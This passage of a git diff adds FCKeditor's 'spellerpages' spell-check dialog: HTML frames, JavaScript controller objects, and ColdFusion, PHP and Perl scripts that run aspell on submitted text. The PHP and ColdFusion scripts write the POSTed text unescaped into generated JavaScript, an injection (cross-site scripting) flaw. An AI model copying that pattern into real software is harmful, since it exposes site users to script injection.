+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Spell Check</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="fck_spellerpages/spellerpages/spellChecker.js"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang = oEditor.FCKLang ;
+
+window.onload = function()
+{
+       document.getElementById('txtHtml').value = oEditor.FCK.EditorDocument.body.innerHTML ;
+
+       var oSpeller = new spellChecker( document.getElementById('txtHtml') ) ;
+       oSpeller.spellCheckScript = oEditor.FCKConfig.SpellerPagesServerScript || 'server-scripts/spellchecker.php' ;
+       oSpeller.OnFinished = oSpeller_OnFinished ;
+       oSpeller.openChecker() ;
+}
+
+function OnSpellerControlsLoad( controlsWindow )
+{
+       // Translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( controlsWindow.document ) ;
+}
+
+function oSpeller_OnFinished( numberOCorrections )
+{
+       if ( numberOCorrections > 0 )
+               oEditor.FCK.SetHTML( document.getElementById('txtHtml').value ) ;
+       window.parent.Cancel() ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no" style="padding:0px;">
+               <input type="hidden" id="txtHtml" value="">
+               <iframe id="frmSpell" src="javascript:void(0)" name="spellchecker" width="100%" height="100%" frameborder="0"></iframe>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/blank.html b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/blank.html
new file mode 100755 (executable)
index 0000000..e69de29
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js
new file mode 100755 (executable)
index 0000000..6ba8cf0
--- /dev/null
@@ -0,0 +1,87 @@
+////////////////////////////////////////////////////
+// controlWindow object
+////////////////////////////////////////////////////
+function controlWindow( controlForm ) {
+       // private properties
+       this._form = controlForm;
+
+       // public properties
+       this.windowType = "controlWindow";
+//     this.noSuggestionSelection = "- No suggestions -";      // by FredCK
+       this.noSuggestionSelection = FCKLang.DlgSpellNoSuggestions ;
+       // set up the properties for elements of the given control form
+       this.suggestionList  = this._form.sugg;
+       this.evaluatedText   = this._form.misword;
+       this.replacementText = this._form.txtsugg;
+       this.undoButton      = this._form.btnUndo;
+
+       // public methods
+       this.addSuggestion = addSuggestion;
+       this.clearSuggestions = clearSuggestions;
+       this.selectDefaultSuggestion = selectDefaultSuggestion;
+       this.resetForm = resetForm;
+       this.setSuggestedText = setSuggestedText;
+       this.enableUndo = enableUndo;
+       this.disableUndo = disableUndo;
+}
+
+function resetForm() {
+       if( this._form ) {
+               this._form.reset();
+       }
+}
+
+function setSuggestedText() {
+       var slct = this.suggestionList;
+       var txt = this.replacementText;
+       var str = "";
+       if( (slct.options[0].text) && slct.options[0].text != this.noSuggestionSelection ) {
+               str = slct.options[slct.selectedIndex].text;
+       }
+       txt.value = str;
+}
+
+function selectDefaultSuggestion() {
+       var slct = this.suggestionList;
+       var txt = this.replacementText;
+       if( slct.options.length == 0 ) {
+               this.addSuggestion( this.noSuggestionSelection );
+       } else {
+               slct.options[0].selected = true;
+       }
+       this.setSuggestedText();
+}
+
+function addSuggestion( sugg_text ) {
+       var slct = this.suggestionList;
+       if( sugg_text ) {
+               var i = slct.options.length;
+               var newOption = new Option( sugg_text, 'sugg_text'+i );
+               slct.options[i] = newOption;
+        }
+}
+
+function clearSuggestions() {
+       var slct = this.suggestionList;
+       for( var j = slct.length - 1; j > -1; j-- ) {
+               if( slct.options[j] ) {
+                       slct.options[j] = null;
+               }
+       }
+}
+
+function enableUndo() {
+       if( this.undoButton ) {
+               if( this.undoButton.disabled == true ) {
+                       this.undoButton.disabled = false;
+               }
+       }
+}
+
+function disableUndo() {
+       if( this.undoButton ) {
+               if( this.undoButton.disabled == false ) {
+                       this.undoButton.disabled = true;
+               }
+       }
+}
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html
new file mode 100755 (executable)
index 0000000..f56cdd1
--- /dev/null
@@ -0,0 +1,153 @@
+<html>
+       <head>
+               <link rel="stylesheet" type="text/css" href="spellerStyle.css" />
+               <script type="text/javascript" src="controlWindow.js"></script>
+               <script type="text/javascript">
+var spellerObject;
+var controlWindowObj;
+
+if( parent.opener ) {
+       spellerObject = parent.opener.speller;
+}
+
+function ignore_word() {
+       if( spellerObject ) {
+               spellerObject.ignoreWord();
+       }
+}
+
+function ignore_all() {
+       if( spellerObject ) {
+               spellerObject.ignoreAll();
+       }
+}
+
+function replace_word() {
+       if( spellerObject ) {
+               spellerObject.replaceWord();
+       }
+}
+
+function replace_all() {
+       if( spellerObject ) {
+               spellerObject.replaceAll();
+       }
+}
+
+function end_spell() {
+       if( spellerObject ) {
+               spellerObject.terminateSpell();
+       }
+}
+
+function undo() {
+       if( spellerObject ) {
+               spellerObject.undo();
+       }
+}
+
+function suggText() {
+       if( controlWindowObj ) {
+               controlWindowObj.setSuggestedText();
+       }
+}
+
+var FCKLang = window.parent.parent.FCKLang ;   // by FredCK
+
+function init_spell() {
+       // By FredCK (fckLang attributes have been added to the HTML source of this page)
+       window.parent.parent.OnSpellerControlsLoad( this ) ;
+
+       var controlForm = document.spellcheck;
+
+       // create a new controlWindow object
+       controlWindowObj = new controlWindow( controlForm );
+
+       // call the init_spell() function in the parent frameset
+       if( parent.frames.length ) {
+               parent.init_spell( controlWindowObj );
+       } else {
+               alert( 'This page was loaded outside of a frameset. It might not display properly' );
+       }
+}
+
+</script>
+       </head>
+       <body class="controlWindowBody" onLoad="init_spell();" style="OVERFLOW: hidden" scroll="no">    <!-- by FredCK -->
+               <form name="spellcheck">
+                       <table border="0" cellpadding="0" cellspacing="0" border="0" align="center">
+                               <tr>
+                                       <td colspan="3" class="normalLabel"><span fckLang="DlgSpellNotInDic">Not in dictionary:</span></td>
+                               </tr>
+                               <tr>
+                                       <td colspan="3"><input class="readonlyInput" type="text" name="misword" readonly /></td>
+                               </tr>
+                               <tr>
+                                       <td colspan="3" height="5"></td>
+                               </tr>
+                               <tr>
+                                       <td class="normalLabel"><span fckLang="DlgSpellChangeTo">Change to:</span></td>
+                               </tr>
+                               <tr valign="top">
+                                       <td>
+                                               <table border="0" cellpadding="0" cellspacing="0" border="0">
+                                                       <tr>
+                                                               <td class="normalLabel">
+                                                                       <input class="textDefault" type="text" name="txtsugg" />
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>
+                                                                       <select class="suggSlct" name="sugg" size="7" onChange="suggText();" onDblClick="replace_word();">
+                                                                               <option></option>
+                                                                       </select>
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                                       <td>&nbsp;&nbsp;</td>
+                                       <td>
+                                               <table border="0" cellpadding="0" cellspacing="0" border="0">
+                                                       <tr>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnIgnore" value="Ignore" onClick="ignore_word();">
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnIgnoreAll" value="Ignore All" onClick="ignore_all();">
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td colspan="3" height="5"></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnReplace" value="Replace" onClick="replace_word();">
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnReplaceAll" value="Replace All" onClick="replace_all();">
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td colspan="3" height="5"></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" name="btnUndo" fckLang="DlgSpellBtnUndo" value="Undo" onClick="undo();"
+                                                                               disabled>
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td> 
+                                                                       <!-- by FredCK
+                                                                       <input class="buttonDefault" type="button" value="Close" onClick="end_spell();">
+                                                                       -->
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </form>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm
new file mode 100755 (executable)
index 0000000..b094d7e
--- /dev/null
@@ -0,0 +1,174 @@
+<cfsilent>
+<!--- 
+This code uses a CF User Defined Function and should work in CF version 5.0
+and up without alteration.
+
+Also if you are hosting your site at an ISP, you will have to check with them
+to see if the use of <CFEXECUTE> is allowed. In most cases ISP will not allow
+the use of that tag for security reasons. Clients would be able to access each
+others files in certain cases.
+--->
+<!--- 
+The following variables values must reflect your installation needs.
+--->
+<cfset apsell_dir      = "c:\aspell\bin">
+
+<cfset lang                    = "en_US">
+<cfset aspell_opts     = "-a --lang=#lang# --encoding=utf-8 -H">
+
+<!--- Be sure the temporary folder exists --->
+<cfset tempFolder      = "c:\aspell\temp">
+<cfset tempfile                = "spell_#randrange(1,10000)#">
+
+<cfset spellercss      = "../spellerStyle.css">
+<cfset word_win_src    = "../wordWindow.js">
+
+<cfset form.checktext = form["textinputs[]"]>
+
+<cfscript>
+  function LastIndexOf(subs, str)
+  {
+    return Len(str) - Find(subs, Reverse(str)) + 1;
+  }
+</cfscript>
+
+<!--- Takes care of those pesky smart quotes from MS apps, replaces them with regular quotes --->
+<cfparam name="url.checktext" default="">
+<cfparam name="form.checktext" default="#url.checktext#">
+<cfset submitted_text = replacelist(form.checktext,"%u201C,%u201D","%22,%22")> 
+
+<!--- submitted_text now is ready for processing --->
+
+<!--- use carat on each line to escape possible aspell commands --->
+<cfset text = "">
+<cfset crlf = Chr(13) & Chr(10)>
+
+<cfloop list="#submitted_text#" index="field" delimiters=",">
+  <cfset text = text & "%" & crlf
+                     & "^A" & crlf
+                     & "!" & crlf>
+  <cfset field = URLDecode(field)>
+  <cfloop list="#field#" index="line" delimiters="#crlf#">
+<!---     <cfset submitted_text = replace(submitted_text,"'","\'","All")>
+    <cfset submitted_text = replace(submitted_text,"""","\""","All")> --->
+       <cfset text = text & "^" & Trim(JSStringFormat(line)) & "#crlf#">
+  </cfloop>
+</cfloop>
+
+
+<!--- need to escape special javascript characters such as ' --->
+<cfset unaltered_text = submitted_text>
+
+<!--- create temp file from the submitted text, this will be passed to aspell to be check for misspelled words --->
+<cffile action="write" file="#tempFolder#\#tempfile#.txt" output="#text#" charset="utf-8">
+
+<!--- cfsavecontent is used to set the variable that will be returned with the results from aspell.
+If your using the new version of mx 6.1 you can  use the following cfexecute tag instead:
+<cfexecute name="C:\WINDOWS\SYSTEM32\cmd.exe" arguments="/c type c:\test\#tempfile#.txt | c:\aspell\bin\aspell #aspell_opts#" timeout="100" variable="results"></cfexecute> --->
+
+
+
+<cfsavecontent variable="food">
+<cfexecute name="C:\WINDOWS\SYSTEM32\cmd.exe" arguments="/c type #tempFolder#\#tempfile#.txt | #apsell_dir#\aspell #aspell_opts#" timeout="100"></cfexecute>
+</cfsavecontent>
+
+
+
+<!--- remove temp file --->
+<cffile action="delete" file="#tempFolder#\#tempfile#.txt">
+
+<cfset texts = StructNew()>
+<cfset texts.textinputs = "">
+<cfset texts.words = "">
+<cfset texts.abort = "">
+
+<!--- Generate Text Inputs --->
+
+<cfset i = "0">
+<cfloop index="text" list="#form.checktext#">
+  <cfset texts.textinputs = ListAppend(texts.textinputs, 'textinputs[#i#] = decodeURIComponent("#text#");', '#Chr(13)##Chr(10)#')>
+  <cfset i = i + "1">
+</cfloop>
+
+<!--- Generate Words Lists --->
+
+<cfset cnt = "1">
+<cfset word_cnt = "0">
+<cfset input_cnt = "-1">
+<cfloop list="#food#" index="list" delimiters="#chr(10)##chr(13)#">
+       <!--- removes the first line of the aspell output "@(#) International Ispell Version 3.1.20 (but really Aspell 0.50.3)" --->
+       <cfif NOT cnt IS "1">
+               <cfif Find("&", list) OR Find("##", list)>
+                       <!--- word that misspelled --->
+                       <cfset bad_word = listGetAt(list, "2", " ")>
+                       <!--- sugestions --->
+                       <cfset wrdList = mid(list,(LastIndexOf(':', list) + 2),(len(list) - (LastIndexOf(':', list) + 2)))>
+                       <cfset wrdsList = "">
+                       <cfloop list="#wrdList#" index="idx">
+                               <cfset wrdsList = ListAppend(wrdsList, " '" & trim(replace(idx,"'","\'","All")) & "'", ", ")>
+                       </cfloop>
+      <cfset wrdsList = Right(wrdsList, Len(wrdsList) - 1)>
+                       <!--- javascript --->
+                       <cfset texts.words = ListAppend(texts.words, "words[#input_cnt#][#word_cnt#] = '#trim(replace(bad_word,"'","\'","All"))#';", "#Chr(13)##Chr(10)#")>
+                       <cfset texts.words = ListAppend(texts.words, "suggs[#input_cnt#][#word_cnt#] = [#trim(wrdsList)#];", "#Chr(13)##Chr(10)#")>
+                       <cfset word_cnt = word_cnt + 1>
+               <cfelseif find("*", list)>
+      <cfset input_cnt = input_cnt + "1">
+      <cfset word_cnt = "0">
+      <cfset texts.words = ListAppend(texts.words, "words[#input_cnt#] = [];", "#crlf#")>
+      <cfset texts.words = ListAppend(texts.words, "suggs[#input_cnt#] = [];", "#crlf#")>
+               </cfif>                 
+       </cfif>
+       <cfset cnt = cnt + 1>
+</cfloop>
+
+<cfif texts.words IS "">
+  <cfset texts.abort = "alert('Spell check complete.\n\nNo misspellings found.');#chrlf#top.window.close();">
+</cfif>
+
+</cfsilent><cfoutput><cfcontent type="text/html"><html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="#spellercss#" />
+<script language="javascript" src="#word_win_src#"></script>
+<script language="javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+
+#texts.textinputs##Chr(13)##Chr(10)#
+#texts.words#
+#texts.abort#
+
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+function init_spell() {
+       // check if any error occured during server-side processing
+       if( error ) {
+               alert( error );
+       } else {
+               // call the init_spell() function in the parent frameset
+               if (parent.frames.length) {
+                       parent.init_spell( wordWindowObj );
+               } else {
+                       alert('This page was loaded outside of a frameset. It might not display properly');
+               }
+       }
+}
+
+</script>
+
+</head>
+<body onLoad="init_spell();">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html></cfoutput>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
new file mode 100755 (executable)
index 0000000..1ee49b4
--- /dev/null
@@ -0,0 +1,196 @@
+<?php
+header('Content-type: text/html; charset=utf-8');
+
+// The following variables values must reflect your installation needs.
+
+$aspell_prog   = '"C:\Program Files\Aspell\bin\aspell.exe"';   // by FredCK (for Windows)
+//$aspell_prog = 'aspell';                                                                             // by FredCK (for Linux)
+
+$lang                  = 'en_US';
+$aspell_opts   = "-a --lang=$lang --encoding=utf-8 -H";                // by FredCK
+
+$tempfiledir   = "./";
+
+$spellercss            = '../spellerStyle.css';                                                // by FredCK
+$word_win_src  = '../wordWindow.js';                                                   // by FredCK
+
+$textinputs            = $_POST['textinputs']; # array
+$input_separator = "A";
+
+# set the JavaScript variable to the submitted text.
+# textinputs is an array, each element corresponding to the (url-encoded)
+# value of the text control submitted for spell-checking
+function print_textinputs_var() {
+       global $textinputs;
+       foreach( $textinputs as $key=>$val ) {
+               # $val = str_replace( "'", "%27", $val );
+               echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";
+       }
+}
+
+# make declarations for the text input index
+function print_textindex_decl( $text_input_idx ) {
+       echo "words[$text_input_idx] = [];\n";
+       echo "suggs[$text_input_idx] = [];\n";
+}
+
+# set an element of the JavaScript 'words' array to a misspelled word
+function print_words_elem( $word, $index, $text_input_idx ) {
+       echo "words[$text_input_idx][$index] = '" . escape_quote( $word ) . "';\n";
+}
+
+
+# set an element of the JavaScript 'suggs' array to a list of suggestions
+function print_suggs_elem( $suggs, $index, $text_input_idx ) {
+       echo "suggs[$text_input_idx][$index] = [";
+       foreach( $suggs as $key=>$val ) {
+               if( $val ) {
+                       echo "'" . escape_quote( $val ) . "'";
+                       if ( $key+1 < count( $suggs )) {
+                               echo ", ";
+                       }
+               }
+       }
+       echo "];\n";
+}
+
+# escape single quote
+function escape_quote( $str ) {
+       return preg_replace ( "/'/", "\\'", $str );
+}
+
+
+# handle a server-side error.
+function error_handler( $err ) {
+       echo "error = '" . escape_quote( $err ) . "';\n";
+}
+
+## get the list of misspelled words. Put the results in the javascript words array
+## for each misspelled word, get suggestions and put in the javascript suggs array
+function print_checker_results() {
+
+       global $aspell_prog;
+       global $aspell_opts;
+       global $tempfiledir;
+       global $textinputs;
+       global $input_separator;
+       $aspell_err = "";
+       # create temp file
+       $tempfile = tempnam( $tempfiledir, 'aspell_data_' );
+
+       # open temp file, add the submitted text.
+       if( $fh = fopen( $tempfile, 'w' )) {
+               for( $i = 0; $i < count( $textinputs ); $i++ ) {
+                       $text = urldecode( $textinputs[$i] );
+                       $lines = explode( "\n", $text );
+                       fwrite ( $fh, "%\n" ); # exit terse mode
+                       fwrite ( $fh, "^$input_separator\n" );
+                       fwrite ( $fh, "!\n" ); # enter terse mode
+                       foreach( $lines as $key=>$value ) {
+                               # use carat on each line to escape possible aspell commands
+                               fwrite( $fh, "^$value\n" );
+                       }
+               }
+               fclose( $fh );
+
+               # exec aspell command - redirect STDERR to STDOUT
+               $cmd = "$aspell_prog $aspell_opts < $tempfile 2>&1";
+               if( $aspellret = shell_exec( $cmd )) {
+                       $linesout = explode( "\n", $aspellret );
+                       $index = 0;
+                       $text_input_index = -1;
+                       # parse each line of aspell return
+                       foreach( $linesout as $key=>$val ) {
+                               $chardesc = substr( $val, 0, 1 );
+                               # if '&', then not in dictionary but has suggestions
+                               # if '#', then not in dictionary and no suggestions
+                               # if '*', then it is a delimiter between text inputs
+                               # if '@' then version info
+                               if( $chardesc == '&' || $chardesc == '#' ) {
+                                       $line = explode( " ", $val, 5 );
+                                       print_words_elem( $line[1], $index, $text_input_index );
+                                       if( isset( $line[4] )) {
+                                               $suggs = explode( ", ", $line[4] );
+                                       } else {
+                                               $suggs = array();
+                                       }
+                                       print_suggs_elem( $suggs, $index, $text_input_index );
+                                       $index++;
+                               } elseif( $chardesc == '*' ) {
+                                       $text_input_index++;
+                                       print_textindex_decl( $text_input_index );
+                                       $index = 0;
+                               } elseif( $chardesc != '@' && $chardesc != "" ) {
+                                       # assume this is error output
+                                       $aspell_err .= $val;
+                               }
+                       }
+                       if( $aspell_err ) {
+                               $aspell_err = "Error executing `$cmd`\\n$aspell_err";
+                               error_handler( $aspell_err );
+                       }
+               } else {
+                       error_handler( "System error: Aspell program execution failed (`$cmd`)" );
+               }
+       } else {
+               error_handler( "System error: Could not open file '$tempfile' for writing" );
+       }
+
+       # close temp file, delete file
+       unlink( $tempfile );
+}
+
+
+?>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="<?php echo $spellercss ?>" />
+<script language="javascript" src="<?php echo $word_win_src ?>"></script>
+<script language="javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+<?php
+
+print_textinputs_var();
+
+print_checker_results();
+
+?>
+
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+function init_spell() {
+       // check if any error occured during server-side processing
+       if( error ) {
+               alert( error );
+       } else {
+               // call the init_spell() function in the parent frameset
+               if (parent.frames.length) {
+                       parent.init_spell( wordWindowObj );
+               } else {
+                       alert('This page was loaded outside of a frameset. It might not display properly');
+               }
+       }
+}
+
+
+
+</script>
+
+</head>
+<!-- <body onLoad="init_spell();">             by FredCK -->
+<body onLoad="init_spell();" bgcolor="#ffffff">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl
new file mode 100755 (executable)
index 0000000..cf71200
--- /dev/null
@@ -0,0 +1,180 @@
+#!/usr/bin/perl
+
+use CGI qw/ :standard /;
+use File::Temp qw/ tempfile tempdir /;
+
+# my $spellercss = '/speller/spellerStyle.css';                                        # by FredCK
+my $spellercss = '../spellerStyle.css';                                                        # by FredCK
+# my $wordWindowSrc = '/speller/wordWindow.js';                                        # by FredCK
+my $wordWindowSrc = '../wordWindow.js';                                                        # by FredCK
+my @textinputs = param( 'textinputs[]' ); # array
+# my $aspell_cmd = 'aspell';                                                                   # by FredCK (for Linux)
+my $aspell_cmd = '"C:\Program Files\Aspell\bin\aspell.exe"';   # by FredCK (for Windows)
+my $lang = 'en_US';
+# my $aspell_opts = "-a --lang=$lang --encoding=utf-8";                        # by FredCK
+my $aspell_opts = "-a --lang=$lang --encoding=utf-8 -H";               # by FredCK
+my $input_separator = "A";
+
+# set the 'wordtext' JavaScript variable to the submitted text. 
+sub printTextVar {
+       for( my $i = 0; $i <= $#textinputs; $i++ ) {
+               print "textinputs[$i] = decodeURIComponent('" . escapeQuote( $textinputs[$i] ) . "')\n";
+       }
+}
+
+sub printTextIdxDecl {
+       my $idx = shift;
+       print "words[$idx] = [];\n";
+       print "suggs[$idx] = [];\n";
+}
+
+sub printWordsElem {
+       my( $textIdx, $wordIdx, $word ) = @_;
+       print "words[$textIdx][$wordIdx] = '" . escapeQuote( $word ) . "';\n";
+}
+
+sub printSuggsElem {
+       my( $textIdx, $wordIdx, @suggs ) = @_;
+       print "suggs[$textIdx][$wordIdx] = [";
+       for my $i ( 0..$#suggs ) {
+               print "'" . escapeQuote( $suggs[$i] ) . "'";
+               if( $i < $#suggs ) {
+                       print ", ";
+               }
+       }
+       print "];\n";
+}
+
+sub printCheckerResults {
+       my $textInputIdx = -1;
+       my $wordIdx = 0;
+       my $unhandledText;
+       # create temp file
+       my $dir = tempdir( CLEANUP => 1 );
+       my( $fh, $tmpfilename ) = tempfile( DIR => $dir );
+
+       # temp file was created properly?
+       
+       # open temp file, add the submitted text.
+       for( my $i = 0; $i <= $#textinputs; $i++ ) {
+               $text = url_decode( $textinputs[$i] );
+               @lines = split( /\n/, $text );
+               print $fh "\%\n"; # exit terse mode
+               print $fh "^$input_separator\n";
+               print $fh "!\n";  # enter terse mode
+               for my $line ( @lines ) {
+                       # use carat on each line to escape possible aspell commands
+                       print $fh "^$line\n";
+               }
+               
+       }
+       # exec aspell command
+       my $cmd = "$aspell_cmd $aspell_opts < $tmpfilename 2>&1";
+       open ASPELL, "$cmd |" or handleError( "Could not execute `$cmd`\\n$!" ) and return;
+       # parse each line of aspell return
+       for my $ret ( <ASPELL> ) {
+               chomp( $ret );
+               # if '&', then not in dictionary but has suggestions
+               # if '#', then not in dictionary and no suggestions
+               # if '*', then it is a delimiter between text inputs
+               if( $ret =~ /^\*/ ) {
+                       $textInputIdx++;
+                       printTextIdxDecl( $textInputIdx );
+                       $wordIdx = 0;
+       
+               } elsif( $ret =~ /^(&|#)/ ) {
+                       my @tokens = split( " ", $ret, 5 );
+                       printWordsElem( $textInputIdx, $wordIdx, $tokens[1] );
+                       my @suggs = ();
+                       if( $tokens[4] ) {
+                               @suggs = split( ", ", $tokens[4] );
+                       }
+                       printSuggsElem( $textInputIdx, $wordIdx, @suggs );
+                       $wordIdx++;
+               } else {
+                       $unhandledText .= $ret;
+               }
+       }
+       close ASPELL or handleError( "Error executing `$cmd`\\n$unhandledText" ) and return;
+}
+
+sub escapeQuote {
+       my $str = shift;
+       $str =~ s/'/\\'/g;
+       return $str;
+}
+
+sub handleError {
+       my $err = shift;
+       print "error = '" . escapeQuote( $err ) . "';\n";
+}
+
+sub url_decode {
+       local $_ = @_ ? shift : $_;
+       defined or return;
+       # change + signs to spaces
+       tr/+/ /;
+       # change hex escapes to the proper characters
+       s/%([a-fA-F0-9]{2})/pack "H2", $1/eg;
+       return $_;
+}
+
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+# Display HTML
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+
+print <<EOF;
+Content-type: text/html; charset=utf-8
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="$spellercss"/>
+<script src="$wordWindowSrc"></script>
+<script type="text/javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+EOF
+
+printTextVar();
+
+printCheckerResults();
+
+print <<EOF;
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+
+function init_spell() {
+       // check if any error occured during server-side processing
+       if( error ) {
+               alert( error );
+       } else {
+               // call the init_spell() function in the parent frameset
+               if (parent.frames.length) {
+                       parent.init_spell( wordWindowObj );
+               } else {
+                       error = "This page was loaded outside of a frameset. "; 
+                       error += "It might not display properly";
+                       alert( error );
+               }
+       }
+}
+
+</script>
+
+</head>
+<body onLoad="init_spell();">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+EOF
+
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js
new file mode 100755 (executable)
index 0000000..7c4eee4
--- /dev/null
@@ -0,0 +1,462 @@
+////////////////////////////////////////////////////
+// spellChecker.js
+//
+// spellChecker object
+//
+// This file is sourced on web pages that have a textarea object to evaluate
+// for spelling. It includes the implementation for the spellCheckObject.
+//
+////////////////////////////////////////////////////
+
+
+// constructor
+function spellChecker( textObject ) {
+
+       // public properties - configurable
+//     this.popUpUrl = '/speller/spellchecker.html';                                                   // by FredCK
+       this.popUpUrl = 'fck_spellerpages/spellerpages/spellchecker.html';              // by FredCK
+       this.popUpName = 'spellchecker';
+//     this.popUpProps = "menu=no,width=440,height=350,top=70,left=120,resizable=yes,status=yes";      // by FredCK
+       this.popUpProps = null ;                                                                                                                                        // by FredCK
+//     this.spellCheckScript = '/speller/server-scripts/spellchecker.php';             // by FredCK
+       //this.spellCheckScript = '/cgi-bin/spellchecker.pl';
+
+       // values used to keep track of what happened to a word
+       this.replWordFlag = "R";        // single replace
+       this.ignrWordFlag = "I";        // single ignore
+       this.replAllFlag = "RA";        // replace all occurances
+       this.ignrAllFlag = "IA";        // ignore all occurances
+       this.fromReplAll = "~RA";       // an occurance of a "replace all" word
+       this.fromIgnrAll = "~IA";       // an occurance of a "ignore all" word
+       // properties set at run time
+       this.wordFlags = new Array();
+       this.currentTextIndex = 0;
+       this.currentWordIndex = 0;
+       this.spellCheckerWin = null;
+       this.controlWin = null;
+       this.wordWin = null;
+       this.textArea = textObject;     // deprecated
+       this.textInputs = arguments; 
+
+       // private methods
+       this._spellcheck = _spellcheck;
+       this._getSuggestions = _getSuggestions;
+       this._setAsIgnored = _setAsIgnored;
+       this._getTotalReplaced = _getTotalReplaced;
+       this._setWordText = _setWordText;
+       this._getFormInputs = _getFormInputs;
+
+       // public methods
+       this.openChecker = openChecker;
+       this.startCheck = startCheck;
+       this.checkTextBoxes = checkTextBoxes;
+       this.checkTextAreas = checkTextAreas;
+       this.spellCheckAll = spellCheckAll;
+       this.ignoreWord = ignoreWord;
+       this.ignoreAll = ignoreAll;
+       this.replaceWord = replaceWord;
+       this.replaceAll = replaceAll;
+       this.terminateSpell = terminateSpell;
+       this.undo = undo;
+
+       // set the current window's "speller" property to the instance of this class.
+       // this object can now be referenced by child windows/frames.
+       window.speller = this;
+}
+
+// call this method to check all text boxes (and only text boxes) in the HTML document
+function checkTextBoxes() {
+       this.textInputs = this._getFormInputs( "^text$" );
+       this.openChecker();
+}
+
+// call this method to check all textareas (and only textareas ) in the HTML document
+function checkTextAreas() {
+       this.textInputs = this._getFormInputs( "^textarea$" );
+       this.openChecker();
+}
+
+// call this method to check all text boxes and textareas in the HTML document
+function spellCheckAll() {
+       this.textInputs = this._getFormInputs( "^text(area)?$" );
+       this.openChecker();
+}
+
+// call this method to check text boxe(s) and/or textarea(s) that were passed in to the
+// object's constructor or to the textInputs property
+function openChecker() {
+       this.spellCheckerWin = window.open( this.popUpUrl, this.popUpName, this.popUpProps );
+       if( !this.spellCheckerWin.opener ) {
+               this.spellCheckerWin.opener = window;
+       }
+}
+
+function startCheck( wordWindowObj, controlWindowObj ) {
+
+       // set properties from args
+       this.wordWin = wordWindowObj;
+       this.controlWin = controlWindowObj;
+       
+       // reset properties
+       this.wordWin.resetForm();
+       this.controlWin.resetForm();
+       this.currentTextIndex = 0;
+       this.currentWordIndex = 0;
+       // initialize the flags to an array - one element for each text input
+       this.wordFlags = new Array( this.wordWin.textInputs.length );
+       // each element will be an array that keeps track of each word in the text
+       for( var i=0; i<this.wordFlags.length; i++ ) {
+               this.wordFlags[i] = [];
+       }
+
+       // start
+       this._spellcheck();
+       
+       return true;
+}
+
+function ignoreWord() {
+       var wi = this.currentWordIndex;
+       var ti = this.currentTextIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
